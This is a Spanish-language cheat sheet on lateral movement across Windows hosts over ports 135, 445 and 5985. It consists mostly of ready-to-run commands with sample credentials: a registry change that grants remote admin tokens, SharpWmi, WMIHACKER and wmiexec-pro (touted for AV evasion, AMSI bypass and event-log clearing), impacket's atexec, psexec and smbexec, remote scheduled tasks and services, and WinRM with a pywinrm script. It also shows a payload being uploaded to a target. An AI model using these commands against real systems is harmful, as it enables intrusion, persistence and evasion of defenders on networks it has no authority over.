Directiva LocalAccountTokenFilterPolicy
Durante el movimiento lateral en un entorno de grupo de trabajo, existe una diferencia al intentar establecer una conexión remota con la cuenta administrator frente a otros usuarios miembros del grupo de administradores. Esto se debe a la LocalAccountTokenFilterPolicy. A partir de Windows Vista, el registro del sistema no incluye esta clave por defecto. Por lo tanto, cuando administrator se conecta, recibe un token con privilegios administrativos. En cambio, si otro usuario administrador local realiza la conexión, obtiene un token sin dichos privilegios, resultendo en un error de permisos insuficientes.
Este comportamiento no aplica en entornos de dominio; cualquier administrador del dominio puede establecer una conexión con permisos elevados.
Manipulación del registro
Para verificar la existencia de la clave, se puede ejecutar:
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy
Para permitir que otros administradores locales se conecten con privilegios, se agrega la clave:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
Para revertir el cambio y eliminar la clave:
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /f
Puerto 135
WMIC
Descripción
WMIC (Línea de comandos de Instrumental de administración de Windows) es una herramienta de línea de comandos para la administración. Permite gestionar tanto el equipo local como cualquier equipo remoto dentro de la misma red (con los permisos adecuados), sin necesidad de que el equipo remoto tenga instalado WMIC. Este componente está disponible desde Windows 98.
Características
Durante su ejecución, el sistema operativo no suele registrar las operaciones de WMIC en los logs, lo que facilita su uso discreto. Esto ha llevado a que los atacantes lo prefieran sobre herramientas como psexec o smbexec.
Condiciones de uso
Requiere que el puerto 135 esté abierto. Sin embargo, algunas implementaciones como wmicexec.py de impacket también necesitan el puerto 445 y el recurso compartido admin$ para devolver la salida de los comandos a través de SMB.
SharpWmi
Es una herramienta para movimiento lateral basada en el puerto 135, que permite ejecutar comandos y subir archivos. Funciona ejecutando comandos a través de WMI, guardando el resultado en el registro y luego leyéndolo. Para la subida de archivos, escribe los datos en el registro y utiliza PowerShell para trasladarlos a un archivo local.
Ventajas:
Solo depende del puerto 135 (no requiere 139/445).
Desventajas:
Límite de archivo de 512 KB (tamaño máximo por valor de registro).
La ejecución de comandos y subida de archivos usan PowerShell, lo que puede ser detectado por antivirus.
Ejemplo de uso
Ejecución de comandos:
sharpwmi.exe 10.0.0.24 admin1 password1 cmd ipconfig
Subida de archivos:
sharpwmi.exe 10.0.0.24 admin1 password1 upload payload.exe "C:\payload.exe"
Existen versiones modificadas que soportan ejecución en lote.
WMIHACKER
Herramienta que ofrece ejecución de comandos, subida y descarga de archivos utilizando únicamente el puerto 135.
Ejemplo de uso
Ejecución con respuesta:
cscript WMIHACKER.vbs /cmd 10.0.0.24 admin1 "netstat -an" 1
Ejecución sin respuesta (escribe en archivo):
cscript WMIHACKER.vbs /cmd 10.0.0.24 admin1 "whoami > C:\output.txt" 0
cscript WMIHACKER.vbs /cmd 10.0.0.24 admin1 "type C:\output.txt" 1
Modo shell (no es interactivo):
cscript WMIHACKER.vbs /shell 10.0.0.24 admin1
Subida de archivos:
cscript WMIHACKER.vbs /upload 10.0.0.24 admin1 "local.txt" "C:\remote.txt"
wmiexec-pro
Nueva generación de la herramienta wmiexec.py. Opera completamente a través del puerto 135 sin necesidad de conexiones SMB, lo que ayuda a evadir soluciones antivirus. Emplea clases WMI personalizadas en lugar del registro para la transferencia de datos.
Características principales:
- Evasión de AV
- No depende de win32_process
- Requiere solo el puerto 135
- Incluye bypass de AMSI
- Transferencia de archivos
- Habilitación remota de RDP y WinRM sin tocar CMD
- Abuso del firewall de Windows
- Limpieza cíclica de logs de eventos
- Gestión de servicios
- Secuestro de RID
Ejemplo de uso
Obtener un shell:
python3 wmiexec-pro.py admin1:password1@10.0.0.24 exec-command -shell
Ejecutar un comando único:
python3 wmiexec-pro.py admin1:password1@10.0.0.24 exec-command -command "tasklist"
Puerto 445
Recurso compartido IPC$
IPC$ es un recurso que permite la comunicación interprocesos a través de tuberías con nombre. Proporciona un canal seguro para el intercambio de datos cifrados cuando se presentan credenciales válidas. En sistemas Windows 2000/NT, esta característica está habilitada y también están abiertos los recursos compartidos lógicos (C$, D$, etc.) y el directorio del sistema (admin$), accesibles solo por administradores.
Comandos útiles:
net use \\10.0.0.24\ipc$ /u:"admin1" password1
net use \\10.0.0.24\ipc$ /delete
dir \\10.0.0.24\c$\windows
net time \\10.0.0.24
Técnicas de uso
Planificación de tareas (schtasks):
schtasks /create /s 10.0.0.24 /tn updatetask /sc MINUTE /mo 30 /tr "C:\update.exe" /ru system /f /U admin1 /P password1
schtasks /run /s 10.0.0.24 /i /tn "updatetask" /U admin1 /P password1
schtasks /delete /s 10.0.0.24 /tn "updatetask" /f /U admin1 /P password1
Servicios (sc):
sc \\10.0.0.24 create newsvc binpath= "C:\service.exe"
sc \\10.0.0.24 start newsvc
sc \\10.0.0.24 delete newsvc
atexec.py
Script de impacket que utiliza el servicio de planificación de tareas para ejecutar comandos en el objetivo. Requiere el recurso compartido IPC$.
atexec.py admin1:password1@10.0.0.24 "ipconfig"
psexec
Principio de funcionamiento: sube un binario al directorio C:\Windows del objetivo, crea un servicio para ejecutarlo, y finalmente elimina tanto el servicio como el binario. Esto genera registros en el log del sistema. Puede ser detectado por antivirus.
Condiciones de uso
Requiere el puerto 445 y el recurso compartido admin$ (o C$ en implementaciones de impacket).
psexec.py
psexec.py admin1:password1@10.0.0.24
PSEXEC.EXE oficial
Utiliza un nombre fijo para el binario (PSEXESVC.exe) y el servicio (PSEXESVC).
psexec.exe \\10.0.0.24 -u admin1 -p password1 -s cmd.exe
smbexec.py
Herramienta similar a psexec que crea un servicio remoto para ejecutar comandos a través de un archivo batch temporal. La salida se escribe en un archivo que se lee posteriormente.
smbexec.py admin1:password1@10.0.0.24
Puerto 5985
WinRM
WinRM (Windows Remote Management) es un servicio de administración remota basado en web. Su puerto predeterminado es 5985 (HTTP) o 5986 (HTTPS). En entornos de dominio se puede usar 5985; en grupos de trabajo, se requiere HTTPS (5986). El servicio se activa automáticamente en Windows Server 2012 y superiorse. Puede eludir reglas de firewall que bloqueen RDP, ya que el firewall suele permitir 5985/5986. La conexión respeta la política LocalAccountTokenFilterPolicy.
Configuración y comandos
Habilitar WinRM rápidamente:
Enable-PSRemoting -force
winrm quickconfig -q
Verificar la configuración:
winrm enumerate winrm/config/listener
winrm get winrm/config
Configurar para permitir conexiones no cifradas (solo para pruebas):
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
Restringir hosts confiables:
winrm set winrm/config/Client '@{TrustedHosts="10.0.0.*"}'
Ejecución de comandos
Vía WMI:
winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck '@{commandline="whoami"}'
Conexión remota
Usando winrs:
winrs -r:http://10.0.0.24:5985 -u:admin1 -p:password1 cmd
Usando sesiones de PowerShell:
New-PSSession -Name session1 -ComputerName 10.0.0.24 -Credential admin1
Enter-PSSession -Name session1
Conexión mediante Python
Configuración del servidor WinRM (requiere autenticación básica y datos no cifrados permitidos para pruebas):
winrm set winrm/config/service/auth '@{Basic="true"}'
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
Script de cliente con la librería pywinrm:
import winrm
obj = winrm.Session('http://10.0.0.24:5985/wsman', auth=('admin1', 'password1'))
result = obj.run_cmd('dir')
print(result.std_out.decode('latin-1'))